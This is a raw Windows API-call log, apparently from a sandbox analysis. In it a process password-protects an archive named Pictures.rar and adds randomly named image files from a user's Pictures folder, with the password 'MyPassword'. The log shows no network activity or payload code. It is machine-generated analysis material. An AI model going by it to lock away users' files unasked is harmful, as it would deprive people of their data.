0x80000000 [0066.195] ResetEvent (hEvent=0x344) returned 1 [0066.195] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.196] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.196] ResetEvent (hEvent=0x344) returned 1 [0066.196] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.198] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.200] GetTickCount () returned 0x2673c [0066.200] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15752824991) returned 1 [0066.200] GetTickCount () returned 0x2673c [0066.200] GetLastError () returned 0x0 [0066.200] SetLastError (dwErrCode=0x0) [0066.200] GetDlgItem (hDlg=0x102be, nIDDlgItem=154) returned 0x102d0 [0066.200] GetWindowTextW (in: hWnd=0x102d0, lpString=0xf00f8dc090, nMaxCount=2560 | out: lpString="00:00:02") returned 8 [0066.200] SetWindowTextW (hWnd=0x102d0, lpString="00:00:03") returned 1 [0066.200] GetTickCount () returned 0x2673c [0066.201] GetLastError () returned 0x0 [0066.201] SetLastError (dwErrCode=0x0) [0066.201] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0066.201] GetWindowTextW (in: hWnd=0x102d4, lpString=0xf00f8dc090, nMaxCount=2560 | out: lpString="00:00:02") returned 8 [0066.201] SetWindowTextW (hWnd=0x102d4, lpString="00:00:00") returned 1 [0066.201] GetTickCount () returned 0x2673c [0066.201] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.201] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0066.201] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.201] ResetEvent (hEvent=0x33c) returned 1 [0066.201] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.202] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.202] ResetEvent (hEvent=0x33c) returned 1 [0066.202] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.203] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.203] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.203] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.203] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1d4af5 [0066.203] SetFilePointer (in: hFile=0x32c, lDistanceToMove=105, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1d4b5e [0066.203] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.203] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.203] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.203] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.204] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xbfa0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xbfa0, lpOverlapped=0x0) returned 1 [0066.204] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0066.204] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.204] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1919733, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1d4af5 [0066.204] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1d4af5 [0066.204] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0066.204] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.204] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9570 [0066.205] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0066.205] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0066.205] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc60, Size=0x48) returned 0x28b084f9bb0 [0066.205] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0066.205] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9570 | out: hHeap=0x28b08430000) returned 1 [0066.205] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.205] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.205] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.205] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0066.205] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9ca0 [0066.205] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9ca0, Size=0x7a) returned 0x28b084ecef0 [0066.205] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ecef3*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ecef3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x69, lpOverlapped=0x0) returned 1 [0066.205] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0066.205] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x69) returned 0x28b084fbe50 [0066.205] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0066.205] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecef0 | out: hHeap=0x28b08430000) returned 1 [0066.205] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1e0afe [0066.205] CloseHandle (hObject=0x350) returned 1 [0066.205] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.205] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.205] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.205] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.205] FindFirstFileW (in: lpFileName="Z8PEjH5b.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee5b0 [0066.205] FindClose (in: hFindFile=0x28b0c0ee5b0 | out: hFindFile=0x28b0c0ee5b0) returned 1 [0066.205] CreateFileW (lpFileName="Z8PEjH5b.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\z8pejh5b.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.206] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.206] GetTickCount () returned 0x2673c [0066.206] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.206] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.206] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.206] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.206] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="y_QmYlvwtNWjwI0tZ.bmp") returned 21 [0066.206] SetWindowTextW (hWnd=0x102c6, lpString="Z8PEjH5b.jpg") returned 1 [0066.207] GetTickCount () returned 0x2673c [0066.207] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.207] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0066.207] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0066.207] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0066.207] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x2b6)) [0066.207] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0066.207] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15753569568) returned 1 [0066.207] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x14603, lpOverlapped=0x0) returned 1 [0066.207] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b720643, nNumberOfBytesToRead=0xeb9fd, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b720643*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0066.207] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.207] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0066.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9700 [0066.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6e10 [0066.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9660 [0066.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6e10 | out: hHeap=0x28b08430000) returned 1 [0066.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9700 | out: hHeap=0x28b08430000) returned 1 [0066.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0066.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f98e0 [0066.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ecf80 [0066.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9660 | out: hHeap=0x28b08430000) returned 1 [0066.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecf80 | out: hHeap=0x28b08430000) returned 1 [0066.208] GetTickCount () returned 0x2673c [0066.208] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15753678170) returned 1 [0066.208] GetTickCount () returned 0x2673c [0066.208] GetTickCount () returned 0x2673c [0066.208] GetTickCount () returned 0x2673c [0066.208] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.208] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.208] ResetEvent (hEvent=0x344) returned 1 [0066.208] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.313] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.313] ResetEvent (hEvent=0x344) returned 1 [0066.313] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.315] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.315] ResetEvent (hEvent=0x344) returned 1 [0066.315] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.317] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.317] GetTickCount () returned 0x267a9 [0066.317] GetLastError () returned 0x0 [0066.317] SetLastError (dwErrCode=0x0) [0066.317] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0066.318] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0066.318] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0066.318] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0066.318] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15764695762) returned 1 [0066.318] GetTickCount () returned 0x267a9 [0066.318] GetTickCount () returned 0x267a9 [0066.318] GetTickCount () returned 0x267a9 [0066.318] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0066.322] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0066.322] GetFocus () returned 0x102e2 [0066.322] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0066.322] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0066.322] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0066.322] GetFocus () returned 0x102e2 [0066.322] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0066.323] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.323] ResetEvent (hEvent=0x33c) returned 1 [0066.325] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.326] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.326] ResetEvent (hEvent=0x33c) returned 1 [0066.326] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.326] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.326] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0066.327] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0066.327] GetFocus () returned 0x102e2 [0066.327] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0066.327] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.327] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1e0afe [0066.327] SetFilePointer (in: hFile=0x32c, lDistanceToMove=96, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1e0b5e [0066.327] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0066.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.327] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0066.327] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0066.327] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0066.327] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x146e0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x146e0, lpOverlapped=0x0) returned 1 [0066.329] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0066.329] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0066.329] GetFocus () returned 0x102e2 [0066.329] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0066.329] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.329] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1968894, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1e0afe [0066.329] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1e0afe [0066.330] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.330] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.330] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9a20 [0066.330] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0066.330] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.330] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9700 [0066.330] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0066.330] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9a20 | out: hHeap=0x28b08430000) returned 1 [0066.330] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0066.330] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0066.330] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0066.330] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc60 | out: hHeap=0x28b08430000) returned 1 [0066.330] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc30, Size=0x48) returned 0x28b084f9520 [0066.330] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9520, Size=0x7a) returned 0x28b084ed910 [0066.330] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed913*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed913*, lpNumberOfBytesWritten=0xf00f8d8070*=0x60, lpOverlapped=0x0) returned 1 [0066.330] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0066.330] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x60) returned 0x28b0c100320 [0066.330] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9700 | out: hHeap=0x28b08430000) returned 1 [0066.330] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed910 | out: hHeap=0x28b08430000) returned 1 [0066.330] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1f523e [0066.330] CloseHandle (hObject=0x350) returned 1 [0066.330] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.330] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.330] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.330] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.330] FindFirstFileW (in: lpFileName="zdKqdR.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee8b0 [0066.330] FindClose (in: hFindFile=0x28b0c0ee8b0 | out: hFindFile=0x28b0c0ee8b0) returned 1 [0066.331] CreateFileW (lpFileName="zdKqdR.png" (normalized: "c:\\users\\fd1hvy\\pictures\\zdkqdr.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.331] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.331] GetTickCount () returned 0x267b9 [0066.331] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.331] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.331] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.331] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.331] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="Z8PEjH5b.jpg") returned 12 [0066.331] SetWindowTextW (hWnd=0x102c6, lpString="zdKqdR.png") returned 1 [0066.331] GetTickCount () returned 0x267b9 [0066.331] UpdateWindow (hWnd=0x102be) returned 1 [0066.331] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.331] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0066.332] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0066.332] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0066.332] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x333)) [0066.332] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0066.332] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15766041990) returned 1 [0066.332] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xa8e4, lpOverlapped=0x0) returned 1 [0066.332] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b716924, 